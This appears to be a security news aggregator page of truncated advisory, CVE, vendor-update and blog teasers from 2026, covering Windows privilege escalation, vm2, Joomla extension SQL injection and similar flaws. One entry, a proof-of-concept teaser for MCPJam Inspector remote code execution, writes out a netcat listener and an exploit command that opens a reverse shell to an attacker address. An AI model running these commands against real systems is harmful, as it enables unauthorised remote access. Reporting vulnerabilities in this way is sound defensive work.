Windows Exploitation Techniques: Dangling COM Object Registrations

Posted by James Forshaw This short blog post is about abusing a privilege escalation bug that Microsoft recently fixed in Windows, CVE-2026-66804, that I and 14 others reported. This issue is an incomplete fix for CVE-2026-50343, a bug dubbed “Dark Elevator” by Calif. The root cause of the bug wa...

PT-2026-96094

Name of the Vulnerable Software and Affected Versions MISP versions prior to 2.5.47 Description The login function in UsersController.php contains insufficient HTTP method validation. The system uses an allowlist that only checks for POST and PUT methods before applying security controls. An...

The vulnerability of the `EventEmitter.prototype.emit` component in the `vm2` package manager of NPM allows a hacker to execute arbitrary code.

The vulnerability of the EventEmitter.prototype.emit method in the vm2 library of the NPM package manager is related to insufficient resource control with dynamic management. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...

EulerOS Virtualization 2.10.1 : perl-DBI (EulerOS-SA-2026-3846)

According to the versions of the perl-DBI packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : DBI versions before 1.648 for Perl have a heap overflow when preparsing SQL statements with more than 9 binders.The preparse meth...

Linux Distros Unpatched Vulnerability : CVE-2026-93565

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A flaw was found in Netty RtspDecoder. The RtspMethods.valueOf function incorrectly strips trailing control bytes from method tokens in Real-Time Streaming...

CVE-2026-55563: Incorrect Authorization

Feast is the open source feature store for AI and machine learning. Prior to 0.65.0, .github/workflows/printegrationtests.yml uses pullrequesttarget with the synchronize event and preserves ok-to-test, approved, or lgtm labels across newly pushed commits, allowing a fork contributor to obtain...

Ubuntu 24.04 LTS / Pro Realtime 24.04 LTS : Linux kernel (NVIDIA Tegra) vulnerabilities (USN-8781-1)

"The remote Ubuntu 24.04 LTS / Pro Realtime 24.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-8781-1 advisory. It was discovered that some Arm processors could complete a broadcast translation lookaside buffer TLB invalidation before memo...

Spring AI and TypeSafe Jev: Fast, Cheap, Structured Decisions

Reference documentation and GitHub repository We often need quick decision-making components in our AI applications: to pick the next step in a multi-agent system, to evaluate the inputs and outputs of a complex reasoning task, to route a request, to do input ranking and reordering. Those decisio...

SUSE SLED15 / SLES15 Security Update : python-GitPython (SUSE-SU-2026:4072-1)

The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has a package installed that is affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:4072-1 advisory. - CVE-2026-42215: command injection via Git options bypass bsc1264604. - CVE-2026-42284: unsafe option check...

Security update for gh (important)

openSUSE Security Update: Security update for gh Announcement ID: openSUSE-SU-2026:0333-1 Rating: important References: 1278604 Cross-References: CVE-2026-56854 CVE-2026-56855 CVE-2026-78662 CVSS scores: CVE-2026-56854 SUSE: 8.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N...

Stress-Testing Structure-Aware Calibration of Malware Graph Neural Networks under Type Shift

Post-hoc malware calibrators can condition confidence on graph structure, but their structural inputs may leave the support represented by validation data under malware-type shift. We study this risk on MalNet-Tiny by holding out each of four malware types across three seeds, freezing a graph...

When the Directory Becomes the Weapon: Understanding NTDS.dit Theft

When the Directory Becomes the Weapon: Understanding NTDS.dit Theft By Maulik Maheta and Henry Bernabe · September 21, 2026 Executive Summary While adversaries continually update their attack tools, their fundamental techniques, such as extracting credentials from Active Directory's NTDS.dit and...

RHEL 8 : osbuild-composer (RHSA-2026:69235)

The remote Redhat Enterprise Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2026:69235 advisory. A service for building customized OS artifacts, such as VM images and OSTree commits, that uses osbuild under the hood. Besides building...

Security update for coredns (important)

openSUSE Security Update: Security update for coredns Announcement ID: openSUSE-SU-2026:0324-1 Rating: important References: 1276712 Cross-References: CVE-2026-27140 CVE-2026-27143 CVE-2026-27144 CVE-2026-32282 CVE-2026-32283 CVE-2026-32288 CVE-2026-32289 CVE-2026-32934 CVE-2026-32936...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector 未認証RCE MCPJam Inspector -i -p -m リバースシェルの例 ステップ1 — リスナーを起動: root@kitploit: nc -lvnp 4444 ステップ2 — エクスプロイトを実行: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash ペイロードメソッド ターゲット上で busybox が動作しない場合は、他のメソッドを試してください:...

zte-smartlife-app-pwned

ZTE SmartLife Security Findings Leading to Account Takeover T...

CVE-2026-88856

Joomla Extension - OrdaSoft.com - Authenticated, Privileged Remote Code Execution in OrdaSoft Joomla Gallery extension for Joomla 6.2.7 - The extensions updateOSGallery, reached via task=updateosgallery, read a JSON request body and called the value of a method field as a live PHP function, passi...

CVE-2026-88854

Joomla Extension - OrdaSoft.com - Unauthenticated SQL Injection in OrdaSoft Joomla Gallery extension for Joomla getVar, which is not a real Joomla filter method and falls through to a filter that strips HTML tags but does not touch quotes or SQL syntax. The value is concatenated directly into a...

CVE-2026-88854 Joomla Extension - OrdaSoft.com - Unauthenticated SQL Injection in OrdaSoft Joomla Gallery extension for Joomla < 6.2.7

Joomla Extension - OrdaSoft.com - Unauthenticated SQL Injection in OrdaSoft Joomla Gallery extension for Joomla getVar, which is not a real Joomla filter method and falls through to a filter that strips HTML tags but does not touch quotes or SQL syntax. The value is concatenated directly into a...

CVE-2026-88854

CVE-2026-88854 is an unauthenticated SQL injection in the OrdaSoft Joomla Gallery extension (mod_osgallery_search) affecting Joomla getVar()—not a real Joomla filter method—so only HTML tags are stripped while quotes and SQL syntax pass through. The value is concatenated directly into a LIKE clau...